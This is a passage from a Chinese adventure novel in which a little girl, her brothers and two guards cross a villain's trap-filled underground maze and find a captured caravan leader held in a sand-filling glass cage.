岩洞开口不大、内里却颇为宽敞,洞口还有大片枯死的藤蔓垂落,形成了一道天然的遮蔽。
陆七和萧二迅速检查了山洞内外,确认并无野兽栖息的痕迹。
几人将马匹牵到避风处拴好。
很快,夕阳的最后一丝余晖也沉入了山脊,夜色如同墨滴入水,迅速弥漫开来。
萧二捡来些干枯的松枝,在洞内深处生起了一堆篝火。
跳跃的火光驱散了黑暗和寒意,简陋的山洞迅速有了几分家的安心。
众人就着清水吃了些干粮,奔波一日的困倦很快袭来。
萧宁珣将团团裹紧,让她靠在自己胸口。
团团小脑袋一点一点的,很快就在哥哥温暖的怀抱里沉沉睡去。
萧然挨着他们两人挤着取暖,没过一会儿也撑不住睡着了。
萧二和陆七轮流守夜。
月上中天。
“呜嗷——!”
一声声凄厉悠长的嚎叫,突然从坳地深处传了过来!
第260章 从没有人,能活着从里面走出来
原本在洞口安静卧倒的马匹们突然齐齐人立而起,发出惊恐的嘶鸣,焦躁不安地刨着蹄子,仿佛在惧怕着什么。
所有人瞬间惊醒。
团团还在迷糊:“谁在喊?”
萧宁珣将团团搂得更紧:“无妨,别动。”
萧然噌的一声跳了起来,拔出佩刀指着洞口,眼睛都还没全睁开:“谁?”
陆七和萧二悄无声息地掠至洞口,透过藤蔓的缝隙向外望去。
只见月光下的山林间,飘荡着点点幽绿色的火焰,忽明忽灭,闪烁不停,眼看着越来越多,越来越密,对着山洞的方向飘了过来。
而刚刚那令人心悸的尖啸声,非但未曾停歇,反而此起彼伏,越来越清晰,从四面八方向他们所在的方位靠拢过来。
四面楚歌!
萧宁珣当机立断,抱起还在揉眼睛的团团:“往里退!”
陆七脸色凝重,迅速退回洞内深处:“里面没有路!我仔细查探过,咱们被堵在这里了!”
“未必。”
萧二沉声开口,目光锐利地看向洞窟最里侧那面被密密麻麻、层层叠叠的枯败藤蔓覆盖的岩壁。
这场景,瞬间让他想起了寻找镇国候韦家藏宝洞时的情形,当时的那个洞口,也是被这样的天然伪装所隐藏!
他不再犹豫,拔出佩刀,低喝一声:“陆兄!助我!”
寒光一闪,他猛地举刀向那厚实的藤蔓层用力砍去。
陆七瞬间明白了,拔刀挥出,也跟着砍了过去。
刀光如匹,枯藤断碎四溅。
厚厚的藤蔓层被迅速清理出来。
一个黑黢黢、仅容一人通过的狭窄洞口,赫然出现在岩壁之上!
“快!进去!”萧宁珣低喝一声,抱着团团率先钻了进去。
其余人紧随其后。
黑风坳的深处,一间灯火昏暗的石室中。
一个身着黑袍的身影,注视着石壁上镶嵌的一面光滑水镜,镜中映出的,正是藤蔓被破开,几人钻入洞口的情景。
他冷哼一声:“哼,算你们走运,居然找到了路。”
“也罢,已经很久没有人进过那里了,且看看你们是不是一直这么走运吧。”
众人在狭窄而潮湿的通道内缓慢前行,没走多远,前方赫然出现了三条岔路。
萧然问道:“谁身上有铜板?”
萧宁珣奇怪:“要铜板干嘛?”
萧然理直气壮:“猜啊!猜中哪个走哪条,这叫天意!”
萧宁珣给了他一个白眼。
团团也瞪了他一眼:“当然走右边啦!姨姨告诉咱们的啊!你忘了吗?”
萧然想起来了:“对对!真是的,这些江湖人,有话总是说半句藏半句的,也不想想,若是人家没想起来,不就白说了嘛!”
众人毫不犹豫,拐入了右侧通道。
通道初时狭窄,渐渐变得开阔了些许。
最前方的陆七突然张开双臂,拦住了众人:“停下!”
众人走到他的身旁,只见前方的道路突然异常平坦,由一块块一尺见方的青石板铺就。
石板之间的缝隙清晰可见,与周围岩石的天然凹凸截然不同。
这条青石板路很长,竟然隐隐看不到边。
这条路若是在别处,那是再自然不过,但突然出现在此处,从布满尘土,高低不平的小道,变成了干净整洁,平坦异常的青石板路,当真是诡异无比,看得人脊背发凉。
陆七小心翼翼地伸出一只脚,选择了离自己最近的一块方砖,踩了下去。
“咔嚓!”
那方砖竟应声向下翻转,瞬间坠落,平坦的道路上顿时露出了一个黑漆漆的窟窿。
众人凑近一看,不由倒吸一口凉气,那窟窿竟足有两人多深,底部寒光闪烁,密密麻麻倒插着无数锋利的刀刃!
显然,人若是掉下去,绝无生还之理。
萧二沉着脸,选了另一块方砖,同样用力踩下。
结果一模一样!方砖翻转,露出下方致命的刀坑。
团团喊了一声:“我来吧!我能行!”
四个男人同时看他:“别胡闹!”
团团努了努小嘴,哼!
萧然拉着萧二的手,踮起脚够着前面一排的一块砖踩下去。
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“咔嚓!”回应他的,依旧是利刃的寒光。
他看着前方长长的这段方砖路,脸色发白:“这可怎么过去?难道要飞过去不成?”
陆七和萧二都摇了摇头,显然,轻功也不行。
团团小大人似的叹了口气,扯了扯萧宁珣的手:“三哥哥,我就说我来嘛,你们跟着我就行啦!”
几人迟疑了片刻,事已至此,确实已别无他法。
萧宁珣把她轻轻放下,郑重叮嘱:“团团,一定要非常非常小心,拉着我的手,千万别松开。”
“知道啦!”团团点点头,迈开小短腿,毫不犹豫地就朝第一块方砖踩去。
萧宁珣使劲拉着她,手心都出了一层薄汗。
团团的小脚稳稳地落下。
纹丝不动!是实心的!
“看吧!”团团得意地回头笑了笑,“跟着我啦!踩我踩过的地方!”
然后,她仿佛走寻常路一般,一蹦一跳,随意地朝着前方走去,时而直行,时而斜跨,落点毫无规律可言。
萧宁珣的心提到了嗓子眼,始终不敢放开妹妹的手,紧随其后,每一步都精准地踩在她刚刚落脚的地方。
萧然、陆七、萧二依次跟上,不敢踩错半分。
只见那小小的身影灵活地穿梭着,脚下踩中的每一块砖都坚实无比。
众人提心吊胆地跟着她,快速地通过了这片令人胆寒的死亡区域。
就在他们走出最后一块方砖时,那间昏暗的石室中。
黑袍人霍然站起,死死盯着水镜中那个蹦蹦跳跳的小身影:
“怎么回事?为何那丫头踩下去的地方都没事?难道机关全坏了不成?”
旁边的手下吓得浑身一颤,声音发抖:“机关都正常啊!您也看见了,前面那几个人踩下去都触发了机关。”
“唯独,唯独那个小姑娘!我们也不知道是怎么回事儿啊!难道,她有**保佑?”
黑袍人目光闪烁:“**保佑吗?好,那就看看这个**,能保佑她到几时!这套机关吞人无数,还从没有人,能活着从里面走出来。”
第261章 过去了没事儿干
几人依次走出了那条要命的青石板路。
除了团团一脸兴奋,其他人都是腿脚发软,惊魂未定,忍不住靠着石壁坐了下来,大口喘着粗气。
陆七是最后一个踏出来的,他回身看了一眼这条杀机四伏的道路,长长呼了口气,心有余悸:“好歹毒的机关!不知曾害了多少人枉死在此地!”
“咦?”团团歪着小脑袋,大眼睛紧紧盯着最后一排青砖的尽头。
她伸出小手,指着最靠边的一块青砖,“三哥哥,你看那块砖!”
“嗯?”萧宁珣顺着她指的方向看去,只见那一块与其他的青砖确实不同,长出来一截。
“每块都长得一样,为什么你不一样呀?”团团迈开小短腿噔噔噔地跑了过去.
“团团!”萧宁珣惊呼一声,伸手去抓,却捞了个空。
“我的小祖宗!”萧然也吓得从地上蹦了起来。
团团飞快地冲了过去,抬起小脚,对着那块青砖,狠狠地跺了下去!
“我七叔叔说了,你们肯定害了很多人!坏东西!”
陆七:“……”
“咔嚓——!”
一声清晰的机括咬合声骤然响起。
陆七脸色一变,飞快地冲到团团身边将她抱起,迅速退后了几步。
紧接着,更多更大的声音轰然响起。
“咔嚓!咔嚓!轰隆!!!”
整条青石板路,所有的砖块陆续向下翻转、张开!
露出了整个黑沉沉,布满了利刃的深坑。
深坑的底部,还在不停地剧烈震动。
那些闪烁着寒光的刀刃,纷纷“乒铃乓啷”的折断,扭曲,倒下,淡淡的焦糊味伴随着一股青烟从坑底缓缓升腾了起来。
方才还杀机暗藏的精密机关,转眼间变成了一条堆满了破铜烂铁的废弃沟渠。
众人:“……!”
萧然惊讶得嘴张得大大的,都能塞进去一个鸡蛋。
饶是陆七见多识广,却也没想到能见到这般场景,同样一脸难以置信。
萧宁珣把团团从陆七的怀里接了过来,紧紧搂住:“团团,你做了什么?”
团团抬头看他,一脸无辜:“那块砖和其他的不一样,我就去踩了它一脚啊!”
与此同时。
“哐当!”黑袍人用力将手中的杯子摔在了地上。
他猛地站起,几乎要扑到水镜上:“怎么回事?那自毁的机关为何放在那般明显的位置?”
手下扑通一声跪倒在地:“从建造之初,那个自毁机关就……就一直在那个位置啊!本来就是为了彻底清理通道所用。”
“就算有人侥幸走过去了,哪个不是筋疲力尽,只想着尽快逃离啊!“
“谁会像那小丫头一样,过去了没事儿干,还去……去琢磨砖头齐不齐啊!”
黑袍人看着那条彻底报废、冒着残烟的通道,耗费无数心血打造的密道杀器,就这么被一个小丫头,因为“砖头不齐”这种荒谬的理由,给一脚……踩没了?
他死死地盯着那个正窝在哥哥怀里满脸无辜的小小身影,一股邪火堵在嗓子眼,上不去下不来,噎得他差点儿背过气去。
前方的道路,再度狭窄了起来。
众人依次走进了面前只有一人宽的通道。
才刚全部走入,就听身后“轰隆”一声巨响!
地面微震,尘土飞扬。
萧二是最后一个走进通道的,他大喊一声:“别停下!”
他还未来得及转身,一道厚重的石门便几乎贴着自己的后背滑落下来,彻底堵**退路。
他用力推了推,石门纹丝不动。
萧二大喊一声:“退路没了!”
众人的心头都是一沉。
陆七道:“走吧!别回头!”
众人走了不到一盏茶的功夫,前方豁然开朗,进入了一个不大的石室。
刚刚全部走进去,身后又是“轰隆”一声巨响,一道石门落下,再次堵**来时的道路。
众人无奈,只得抬起头,仔细打量起身处的这间石室。
空间通仄,除了头顶四角悬着四盏昏黄的烛灯,空空荡荡,四壁萧然,什么家私陈设都没有。
唯有一个浅浅的池塘,横亘在最前方。
池塘一侧的池壁与后方的石壁浑然一体,严丝合缝地向上延伸,直抵屋顶,根本看不到
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任何前行的路径。
池水幽暗,水面上泛着微光,静静流淌。
“嘿,天无绝人之路啊!”萧然眼睛一亮,“看着不深,我蹚过去看看!”他刚一抬脚。
“且慢!”陆七一声低喝,手臂一横,拦住了他。
陆七从怀中摸出一枚钢镖,小心翼翼地提着镖尾,将镖尖轻轻探入水中。
那精钢铸就的镖尖才刚触到水面,竟连一丝涟漪都未惊起,便如同冰雪遇到了烈日,以肉眼可见的速度迅速消融、分解!
不过眨眼功夫,半截钢镖便已化为乌有,只剩下陆七手中捏着的那一小截尾部!
陆七将残骸抽出水面,只见断口处参差不齐,仿佛被什么东西啃噬过一般,还冒着淡淡的青烟。
陆七脸色大变:“这不是普通的水!此乃化骨毒水!血肉之躯沾上,顷刻间便会销肉蚀骨!”
萧然低头看了看自己刚刚想踏进去的那只脚。
命大!真是命大!险些以后就要单腿蹦着走了!
到时候真得跟七哥要个特制的马车了,一条腿能坐的那种。
众人此时再看那一池子水,都不禁有些头皮发麻。
萧宁珣眉头紧锁,牵着团团的手,丝毫不敢放开,太危险了!
萧二握紧了拳,萧然后怕地拍了拍胸口。
几人围在一起,焦急地商议着对策。
团团无聊地蹲在池边,好奇地看着水面闪烁的微光。
这个什么水好厉害哦!连七叔叔的钢镖都能啃掉!
片刻后,她微微一怔,抬起小手指着水面:“咦?水好像多了呢!比刚才高啦!”
几人只觉得一股凉气从脚下直窜到头顶!急忙定睛看去。
果然!那泛着诡异光芒的水面,不知何时,已悄无声息地漫上来一截,与池边的距离,明显比刚才近了许多!
陆七反应最快,几个健步飞身来到刚刚走进来时落下的石门旁,四处摸索查看,看能否再打开。
片刻后,他转过身来,冲着所有人摇了摇头。
众人下意识的看了看这间不大的石室,倘若这水不停上涨,淹没了这里,所有人都将尸骨无存!
第262章 到这里等着咱们来了
化骨毒水上涨的速度快得令人心惊,眼看着便漫出了池塘边缘,如同活物一般在地面上迅速蔓延。
“滋滋——!”
地面接触到水的地方,立刻腾起一股刺鼻的白烟,表面上随即出现了密密麻麻的孔洞!
这光景,让所有人瞬间胆寒。
萧宁珣厉声喝道:“快!退到墙边!”一把将身边僵住的萧然拽上,向墙边退去。
几人的后背都紧紧贴在距离池塘最远的石壁上,死死地盯着那致命的东西不依不饶地冲着自己爬过来。
照这个速度,用不了一时三刻,便再无立锥之地!
“难怪这里空空如也!”萧宁珣看着飞速逼近的水面,恨恨地一拳捶在墙壁上,“这是算准了,让进来的人无处可躲,只能眼睁睁等死!”
萧然看着地上不断逼近的化骨毒水,脸色煞白。
萧二和陆七对视一眼,极有默契的同时动了。
萧二蹲下,陆七则踩上他的肩头。
萧二稳稳站起,陆七在高处伸出手,沉声道:“小姐,抓稳了!”
萧宁珣立刻会意,双手托住团团的腋下,奋力向上一举。
陆七精准地接住,让团团的两只小脚踩在他摊开的手掌之上。
瞬间,团团成了整个石室里最高,最安全的人。
“别怕,小姐。”
“令主,别慌,属下在。”
团团扶着冰冷的墙壁:“好高啊!”
她的小手在粗糙的墙面上下意识地摸索着,怎么能让那个水回去就好了,才能继续往前走啊!
突然,她摸到了一个奇怪的凹陷。
“咦?”她低下头,凑近墙壁仔细看,“墙上怎么有个小窟窿?”
此时,液面已经接近脚下。
萧然哭丧着脸:“亏了!真是亏大了!小不点儿才捡的藏宝图咱们还没去找呢!”
萧宁珣强自镇定,故作轻松的接口:“是啊!确实有点亏。等日后……”
藏宝图!
团团猛地想起了那个装藏宝图的镂空铜球!
“我的小球!”她欢呼了一声,飞快地解开腰间绣囊,掏出了那个小球。
团团将小球放在墙上的小窟窿处比了比,大小刚刚好!
她毫不犹豫,将铜球朝着窟窿里,轻轻一捅。
“当啷。”
一声清脆的、金属落入卡槽的声响,清晰地传到所有人的耳中。
“轰……”
整个石室猛地晃动了一下!
紧接着,池塘方向传来了沉重的、“轧轧轧”的机括转动声!
那已经流到众人脚边的致命毒水,瞬间停止了蔓延。
随即,以比上涨时更快的速度,“哗”地一声,倒卷流回!
几乎是同时,池塘底部的什么东西轰然移开,露出了一个黑黝黝的洞口。
所有的液体疯狂地朝着洞口涌去,发出巨大的流水声。
不到一盏茶的功夫,整个池塘里,连同地面上的液体,消失得干干净净,池底也恢复了原样。
只有方才被腐蚀得坑坑洼洼的地面,诉说着方才的惊险。
石室内,一片死寂。
劫后余生的巨大震惊让每一个人都有些恍惚。
萧二和陆七缓缓将团团放回地面。
四个大人齐刷刷地看向那个正踮着脚尖,努力伸着小手还想去够墙上窟窿的小人儿身上。
团团委屈巴巴嘟囔着:“二叔叔!七叔叔!把我再举起来嘛!我的小球救了咱们,可它还在里面呢没出来呢!”
众人:“……”
萧然猛地呼出一大口气:“小不点儿!你你你又干了什么啊?”
团团仰起头看着他,指着墙壁上,一脸郁闷和无辜:“那里有个窟窿嘛,刚好能放得下我的小球,我就把它捅进去了啊!”
萧宁珣看了眼妹妹那委屈的小模样,又看了眼那干涸见底的池塘,俯身紧紧地搂住了她:“团团啊,你可真是个福星啊!”
众人在原地等待了片刻。
陆七小心翼翼地用脚尖试探地踩了踩方才被那化骨毒水浸润过的地面。
岩石表面虽已变得凹凸不平,但触感坚实,再无那种可怕的,被寸寸融化的迹象。
他沉声道:“能走!跟着我!”
萧宁珣抱起团团,几人立刻跟上了他。
陆七和萧二一同踏入了如今已经干涸的池塘,二人对视了一眼,无需多言,极有默契地分头在池壁上方的墙壁上摸索起来。
萧宁珣和萧然一起站在池塘外,警惕地提防着四周。
萧二低喝一声:“这里!”陆七立刻上前,二人同时用力,猛地向前一推!
“轧——!”
一阵沉闷的摩擦声响起,那块巨大的石壁,向内缓缓旋开,露出了一个黑黝黝的洞口!
“原来如此!”萧宁珣恍然大悟,“若那化骨毒水仍在,便绝无可能寻到这个入口,设计此地之人,心思之缜密狠毒,简直匪夷所思!”
萧然心有余悸:“快走快走,这鬼地方我一刻也不想多待!”率先钻了进去。
众人依次进入
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,身后的石门缓缓闭合,退路再次被封。
几人已然习惯,头都没回,继续前行。
这里比之前的通道更加狭窄潮湿,但却不长,不过片刻,前方便开始有光透入。
萧然问道:“莫非前方便是出口?”
几人不约而同加快了脚步。
然而,当他们真正走出通道,看清眼前的景象时,却都不由得倒吸了一口凉气。
通道的尽头,竟是一个无比巨大的地下空间。
放眼望去,无数根大小粗细不一的原木构成了一个庞大无比的所在。
一直以来,众人都苦于找不到路,现下倒好,四周全都是路,错综复杂,岔道无数,一眼望不到尽头。
萧然目瞪口呆:“这……这是什么地方?”
陆七缓缓吐出了三个字:“**阵。”
“这要走到什么时候才是个头?”萧然挠着头,看着面前数不清的岔路。
陆七沉吟片刻:“咱们先定下个章程,以免自乱阵脚。我打头阵,一直靠右往前走,你们一个跟一个,千万不要落单。”
“好,就依陆兄所言。”萧宁珣点头,将团团的手握得紧紧的,“我们都会跟紧。”
陆七打头,萧二断后,几人一个接一个,踏入了阵中。
每当遇到岔路口,陆七便毫不犹豫地走入右侧的通道。
走了足有一炷香的功夫,仍然没有走出去,眼前的道路似乎层出不穷,永无止境。
很快,前方又是一个该右转的弯道。
陆七率先拐了过去,突然,他大喝了一声:“停下!”
萧宁珣心头剧震,反应极快地俯身一把抱住团团,硬生生刹住脚步。
跟在他身后的萧然收势不及,“哎哟”一声撞了上去。
萧二一把捞住了他,高声大喊:“陆兄!怎么回事?”
陆七大声答道:“这里是个下斜坡,你们过来要慢!”
几人缓缓走了过去,只一眼,所有人浑身的血液都几乎瞬间冻结!
这是一条死路。
而这死路的尽头,居然是一个,与他们方才逃出的那个石室中,一模一样的池塘!
池子里,那泛着诡异微光化骨毒水,正在其中微微荡漾。
众人回头望去,方才那个拐角之后的路面,全部都是向下倾斜的!
若非陆七及时停住示警,只怕众人便会因这突然向下的斜坡,直接滑进这致命的池子里!
萧然脸色发白:“那……那些鬼水,都,都流到这里等着咱们来了?”
第263章 我还没吃呢
众人缓慢转身,迅速后退,只想离那池塘越远越好。
半晌后,终于停了下来。
陆七面色凝重:“此地诡谲,不可硬闯,需得先探明虚实。”
他解下腰间水囊:“我以此投石问路,大家戒备。”
说罢,他手臂一扬,水囊带着风声向远处的一个通道飞去。
“啪嗒”一声,水囊落地。
下一瞬。
“咔!咔!咔!”
机括弹响之声如爆豆般从两侧墙壁传来!
无数支闪着幽蓝寒光的**箭,疾风骤雨般从墙壁暗孔中喷射而出,瞬间将那只水囊射成了刺猬!
若刚才走进去的是人,此刻早已被万箭穿心!
“好狠毒的机关!”萧然倒吸了口凉气,“这要是人走进去,不成筛子了?”
萧二愁眉紧锁:“地面不行,我从上面试试。我轻功尚可,或能避开机关。”
他纵身跃起,窜到相隔不远的一条岔路的上方,脚尖点着高处,才刚踏出几步。
“咔嚓!”
脚下的原木突然向内翻转!露出了后面黑黝黝的孔洞,数支闪着寒光的短矛从中猛刺而出,直取他的双腿!
萧二反应极快,危急关头腰腹发力,硬生生在半空扭转,单手死死扒住上方一根横梁,整个人悬在半空。
那几支短矛擦着他的靴底掠过!
“二叔叔!”团团惊叫,“快回来!”
陆七眼疾手快,一道飞索射出,缠住了萧二手腕,与萧宁珣和萧然一起,合力将他拉了回来。
萧然拍了拍胸口:“地上走不得,天上也过不去,这可怎么办?”
萧宁珣眉头紧锁,仔细观察着周围:“此**阵建造虽奇,但想必还是要遵循某些规矩才能出去。”
“方才咱们一直向右,虽没能找到出路,却也未遇到什么致命的机关。不如,咱们这次一直向左,试一试?”
众人闻言点头,陆七道:“我打头,你们跟上。”
他率先向第一个左边的通道拐了进去,
然而,他们刚刚全部踏入新的通道。
“轰隆隆!”
身后顿时传来了沉重的摩擦声!
回头一看,他们刚刚歇息的地方,竟被一道突然出现的木墙彻底封**!
再抬头向前看,刚刚原本有路的地方,已变成了一条新的死路!
他们被彻底困住了!
“怎么会这样?”萧然用力推了推那堵新出现的木墙,纹丝不动,“这什么鬼地方!墙还能自己动?”
所有人沉默不语,能试的法子都试过了。
投石问路,引来箭雨穿心。
施展轻功,触发翻板地刺。
改变方向,更是直接陷入了无路可走的绝境。
几个大人互相对视,他们的毕生所学,在这座诡异莫测的迷阵面前,竟然都无能无力。
萧然干脆一屁股坐在了地上:“不走了!老子累了!横竖也出不去!”
团团很认真地想了想,扯了扯萧宁珣的衣袖,一脸奇怪:“三哥哥,这些破木头,挡住了咱们的路,那就把它们全都推倒啊,不就可以出去了嘛?”
众人面面相觑,随即眼中都爆发出光彩!
是啊!为何要被这**阵牵着鼻子走?
“有道理!”陆七猛地一拍大腿,脸上的阴霾一扫而空,“管它什么机关算尽,咱们就给它来硬的!俗话说得好,一力降十会!”
“早该如此!”萧二反手“锵”地拔出了腰间佩刀,“砍光了它!”
团团捂着小肚子,仰起小脸:“二叔叔,七叔叔!咱们先吃饱肚子好不好?吃饱了才有力气嘛!”
被她这么一喊,众人顿时觉得腹中空空,饥渴难耐。
方才一直高度紧张,尚不觉得,此刻松懈下来,大家这才发觉早已饥肠辘辘。
陆七收刀入鞘,朗声一笑:“小姐说的是!天大地大,吃饭最大!”
萧然迫不及待地解下干粮袋:“对对对!吃饱了才有力气拆!”
几人席地而坐,就着清水吃起干粮来。
许是都饿得狠了,如此简单的食物竟也吃得格外香甜,有说有笑。
与此同时,那昏暗的石室中。
黑袍人的眉头已经拧成了一个疙瘩:“他们在干什么?居然还有心情吃饭?”
“主子,应该是知道已经死到临头,不过是想做个饱死鬼罢了。”
“哼!”黑袍人烦躁地一甩袖子,“我还没吃呢!”
手下机灵地问道:“主子您想用些什么?小人这就去备上。”
“备什么备!”黑袍人没好气地瞪了他一眼,“不亲眼看着他们被机关碾碎,我吃得下吗?”
“是是是!主子放心,这最后一重‘
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千机变’,自建成之日起就从未有人活着出来过!让他们吃饱了上路吧。”
黑袍人笑了,微微颔首:“有理!便让他们再快活片刻。”
众人吃饱喝足,稍事休息,精力恢复了大半。
萧二与陆七再次起身,双双拔刀。
“三少爷,小姐,九殿下,你们退远些。”萧二看着前方的木墙,“劈砍这些东西,碎屑飞溅,莫要伤了你们。”
团团挥着小拳头:“好!二叔叔!七叔叔你们加油!”
萧宁珣抱起妹妹,与萧然一起退到了拐角。
萧二与陆七对视点头,同时深吸一口气,臂上肌肉贲张,手中钢刀带着破风之声,狠狠朝着周围那些木墙全力劈去!
“咔嚓!哐当!”
萧二大力沉稳,如同劈柴般,狠狠斩在碗口粗的原木上!
木屑应声飞溅,那木头发出一声不堪重负的呻吟,从中断裂!
陆七的刀法则更精巧,专攻衔接的榫卯之处,往往几刀下去,便能卸下一大块构件。
起初两人还存着试探,几刀之后便发现,这些看似粗壮的原木,内里竟已多有腐朽,刀锋劈入时能感到明显的松软。
它们彼此交错搭靠,全靠精巧的结构维持,一旦破开关键处,便牵一发能动全身。
“原来不过都是些样子货,看着唬人,里面都烂透了!”萧二精神大振,刀势更加狂猛。
陆七眼中精光大盛,迅速看出了门道:“萧兄,你砍下面!陆某劈上头!”
两人越拆越有心得,配合也越发默契。
萧二破开主干,陆七如庖丁解牛般劈开关键结构。
刀光闪烁间,木屑如雨纷飞,一根根原木轰然倒塌,被他们迅速拖开扔到一旁。
萧然躲在后面看得眉飞色舞:“两位!你们这手艺,可以去工部当差啦!”
萧宁珣忍不住摇了摇头。
团团更是拍着小手:“二叔叔七叔叔好厉害啊!拆得真快!”
与此同时,那昏暗石室中。
“砰!”
黑袍人猛地一掌拍在石桌上,气得浑身直抖。
这困杀了无数高手心智的“千机变”,竟然被人用这种劈柴的法子给破了?
简直是奇耻大辱!
他再也按捺不住心中翻涌的怒气,起身站起:“走!去会会这帮拆家的混账!”
第264章 找什么呢?诸位
随着最后一根核心支撑的原木在萧二的劈砍下轰然倒塌,扬起的灰尘扑面而来。
尘埃稍稍落定,萧然便迫不及待地挥开眼前的浮尘,抬眼向四周望去,随即一声欢呼:“那里有个洞口!”
众人抬眼望去,果然看到了一个黑黝黝的洞口!
虽然还看不清洞中的情形,但一股带着草木气息的凉风正从那里源源不断地灌了进来。
真的是出口!
“太好了!总算能离开这鬼地方了!”萧然激动的跳了起来,抬脚就要往前冲,他是一刻也不想多待了。
“九殿下,稍安勿躁。”陆七伸手拦住了他,“待我先探一探。”
萧然已经急不可耐了:“好,那你快些!”
萧宁珣用力抱了一下怀里的妹妹,细心地为她掸去身上的尘土,松了口气,总算是闯出来了。
“啾…啾啾——”
一阵微弱却异常清晰的鸟鸣声,不知从何处,幽幽地传了过来。
陆七脚步一顿,众人都是一愣。
团团仰起头四处寻找:“鸟鸟?”
萧然侧耳倾听:“什么傻鸟跑到这里来筑巢?”
萧宁珣眉头微蹙:“你们有没有觉得,这声音有些耳熟?”
团团眼睛一亮:“三哥哥!你好聪明哦!这个鸟鸟的叫声,跟老爷爷吹的哨子声很像呢!”
陆七也反应过来了:“马帮的哨子!难道,是谢孤舟?”
仿佛是为了印证他的猜测,鸟啼声再次响起,这一次,比刚才更清晰了几分。
团团掏出玄斧翁送给自己的小哨子,放到嘴边,用力一吹。
“啾啾!啾啾!”
所有人都安静了,紧张地等待着。
片刻后,“啾啾!”
一声更加清晰急促的哨音传了过来。
这一次几人都听得清清楚楚,哨声是从另一个方向传来的!
“是谢孤舟!一定是他!”陆七眼中精光一闪,再无怀疑,“他定是听到咱们拆**阵的动静,所以才用哨声求救。”
“走!”萧宁珣一把将团团抱起来,“咱们去找他!”
萧然看着近在咫尺的出口,叹了口气。
团团越过三哥的肩膀看着他:“快走啦!救人哪!”
“来啦!”萧然快步跟了上来。
陆七打头,萧二断后,几人循着那断断续续的哨声,很快便发现了另一个洞口,走了进去
通道很短,不过片刻后,前方便隐约有昏黄的光线透出。
哨声愈发清晰。
众人加快了脚步,冲进了那光源的所在。
竟然是一个天然的洞窟,洞壁上几盏烛灯跳跃着幽暗的火光。
洞窟的正中央,赫然摆放着一个巨大的,通体由透明琉璃打造的牢笼!
牢笼之内,金色的细沙堆积如山,埋到了一个高大男子的胸口处。
一个巨大的沙漏高悬于牢笼顶端,流沙正不知疲倦地透过牢笼顶端的一个孔洞缓缓流入,一点点地吞噬着笼中人所剩无几的空间。
他脸色苍白,肩膀宽阔,嘴里叼着的哨子与玄斧翁送给团团的一模一样。
见到突然闯入的众人,他黯淡的眼睛里,顿时爆发出惊人的神采!
萧宁珣停下脚步,将妹妹的小脑袋往自己肩窝里按了按:“别怕。”
团团乖巧地点了点头,老老实实地窝在哥哥的怀中。
陆七快步走到笼子边问道:“谢帮主?”
谢孤舟虚弱地点了点头。
萧二也赶了过来,围着笼子开始搜寻:“你撑着些,我们救你出来。”
“找什么呢?诸位。”
一个阴恻恻的声音,充满了戏谑,从众人头顶传来。
几人仰头望去,只见侧上方一处突出的岩石平台上,一个身着黑袍,面容隐藏在兜帽阴影下的身影,从容不迫地坐在一张椅子里。
他居高临下俯视着众人,宛如看着落入蛛网的飞虫。
“鬼医!”谢孤舟咬牙切齿,眼中迸发出怒火。
鬼医发出一阵低沉沙哑的笑声:“谢大帮主,鄙人这‘流金沙漏’的滋味如何?”
“眼看着自己的性命一点一点流逝,是不是比任何刀剑加身都更令人绝望?”
他仰天长笑,声音陶醉:“你越绝望,我便越兴奋,掌控旁人生死的感觉,实在是太美妙了。”
他看向团团一行人:“本
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想用那**阵耗死你们,没想到你们竟能走到这里,居然还找到了他。”
“也好,算你们有眼福了。”
“能同我一起,亲眼看着西岭马帮的帮主,被一堆沙子活埋掉,也是美哉啊!”
“闭嘴!”萧二怒吼一声,猛地将手中钢刀掷向琉璃牢笼!
“铛——!”
一声脆响,火星四溅,钢刀被弹开,琉璃壁上只留下一道浅浅白痕。
众人面露惊讶,这琉璃竟然如此坚固!
“哈哈哈……”鬼医兴奋异常,张开双臂:“此琉璃乃西域异宝,坚逾精钢!底部与山岩熔铸一体!”
“你们想用外力强行破坏?当真是异想天开!哈哈哈!”
疯狂的笑声在洞窟内反复回荡。
陆七脸色铁青,萧二眉头紧锁,萧然急得直跺脚,却都束手无策。
鬼医的笑声突然戛然而止。
众人心里一惊,抬头看了过去。
这疯子笑起来令人格外厌恶,不笑了却更让人心惊胆战。
只见他不急不缓地取出一只小皮囊,拔开塞子,将里面暗红色的粘稠液体,缓缓倒在了琉璃牢笼的顶部。
液体顺着光滑的琉璃壁流淌而下,发出腥甜的气味。
紧接着,令人头皮发麻的事情发生了。
沙沙沙——四面八方传来了细密的爬行声。
从周围岩壁的缝隙中,涌出无数密密麻麻的黑红色蚂蚁。
它们瞬间便覆盖了牢笼的外壁,开始疯狂啃食那些液体。
“这些小家伙饿了好几天了。”
鬼医的声音得意非常:“等这些混着蜜糖的鲜血吃完了。”
他伸出手指,点了点被困在笼中的谢孤舟。
“这些饿疯了的小东西,就会顺着上面的气孔爬进去。”
谢孤舟的脸色彻底白了,他从不惧怕刀斧加身,却无法想象,自己被无数蚂蚁啃噬时的痛苦。
其他人的脸上也不禁都变了颜色,这是个什么样的人?
竟如此扭曲变态!
鬼医欣赏着众人惊恐的表情,满意地叹了口气:“一群小小的蚂蚁就能让我看到你们这么绝望,当真是美妙至极!”
第265章 你坏事做得太多啦
谢孤舟看着众人,惨然一笑:“你们快走吧,谢某,命尽于此了。”
鬼医闻言,笑得更加肆意。
团团从哥哥的怀里仰起头,看向鬼医:“喂!你这个长得跟乌鸦一样的坏蛋!”
鬼医收了笑声,非常认真地仔细看着她。
就是这个小丫头,屡次破了我的机关,她究竟有何异处?
团团熟练地滑落到地面。
萧宁珣急忙俯身扶稳她:“别摔着。”
“嗯嗯!“团团气鼓鼓地叉着腰,”喂!你脑子是不是生病了?“
“欺负别人自己还挺高兴?你该赶紧去看看大夫才对!”
鬼医嗤笑一声:“哼,大夫?我就是最好的大夫!”
团团学着他的样子也用力哼了一声:“哼!你是大夫?我才不信!你这样的人还能救人?不害**就不错了。”
鬼医轻蔑地撇嘴:“你懂什么!医者的最高境界,便是能掌控生死。寻常治病救人,不过庸医而已。”
团团大声反驳:“掌控生死才不是你这个样子呢!”
鬼医一脸兴味:“哦?那你倒说说,是什么样子?”
“我认识的神医爷爷,太医爷爷,他们能把快死掉的人救回来,那才叫掌控生死!”
“你呢?你只会把好好的人弄死,这算什么本事?”
她用力跺了跺小脚:“你就是个大坏蛋!你想欺负人,我偏不让!”
她低下头,解开绣囊翻找起来。
萧宁珣赶紧将她抱到怀里,遮住了她的手。
